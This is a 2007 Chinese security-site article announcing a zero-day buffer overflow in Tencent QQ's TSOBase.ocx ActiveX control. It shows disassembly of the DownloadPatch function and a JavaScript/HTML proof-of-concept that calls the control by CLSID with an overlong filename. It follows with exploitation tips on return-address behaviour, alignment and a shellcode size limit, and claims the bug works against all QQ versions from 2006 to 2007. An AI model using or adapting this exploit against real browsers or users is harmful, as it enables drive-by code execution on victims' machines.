执着成就未来 技术成就梦想
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> QQ技巧 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
三步找回被删并清空了回收站的文件
新手想做网吧技术网管应会些什么
如何维护和优化局域网技巧
查看自己IP地址的四种方法
实战经验 组建维护一个30人局域网
巧用支付宝 免交手续费
教你防范QQ隐身被检测(图)
入侵Windows XP的几个常用方法
经验谈:跳板攻击入侵技术实例解析
上网被ISP劫持?介绍一些好用的DNS域
QQ最新漏洞 0day
作者:佚名 来源:安全在线 更新时间:2007-9-14 11:41:48 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

腾讯QQ的安全组件TSOBase.ocx,由于程序员的大意,在程序函数DownloadPatch中,对传入的参数没有做任何限制,本来应该是在256字节以内的,但却没有加以限制。为什么说是256字节呢?看看下面的分析,大家就会明白了!


程序代码
mov    ecx, 0A00h
xor    eax, eax
lea    edi, [ebp+var_2F84]
mov    edx, [esi+4Ch]
rep stosd
stosb
push    edx
lea    eax, [ebp+var_2F84]
push    2800h
……
loc_10013F6C:
lea    edx, [ebp+var_2F84]
push    edi
push    edx
lea    ecx, [ebp+var_24]
mov    byte ptr [ebp+var_4], 7
call    CFile::Write(void const *,uint)
……
mov    eax, [esi+90h]
mov    ecx, [esi+38h]
mov    edx, [esi+3Ch]
push    104h ; size_t
……


      其实上面这段代码就是下载一个安全补丁到本地来,在保存的时候,文件名是我们可以利用的参数。我们知道,Windows下的文件名最大长度为256字节,如果能成功利用这个参数就可以导致溢出了。我们写一段JavaScript来测试一下上面的分析是不是能触发这个漏洞。


程序代码
<script>
function aiwuyanFun()
{
Kill.DownloadPatch("http://...ddddddddddddeeeeeerrtttttt");
}</script>
<OBJECT ID="kill" CLASSID="CLSID:{C09B522F-8AED-4E21-A65C-DC1AB652BAEE}"></OBJECT>
<script>javascript:aiwuyanFun();</script>


      结果傲游出错了!QQ的这个漏洞利用很简单,不需要什么JMP、ESP或者别的跳转语句,因为程序出错后会自动定位程序指针到这个溢出字符串的开始,大家只要注意4字节对齐就行了。当然,这里的ShellCode长度要在260字节以内,仔细调试ShellCode,260个字节足够我们用了。

    这个漏洞目前针对2006到2007的QQ都是通杀!

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2008 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    中国安全在线友情提示:建议使用IE6.0或以上版本, 分辩率1024*768进行浏览
    敢想 敢做 挑战自我 努力做最好 打造最优秀的新手成长 第一起跑线
    中网科技有限公司 技术支持 鄂ICP备05006475号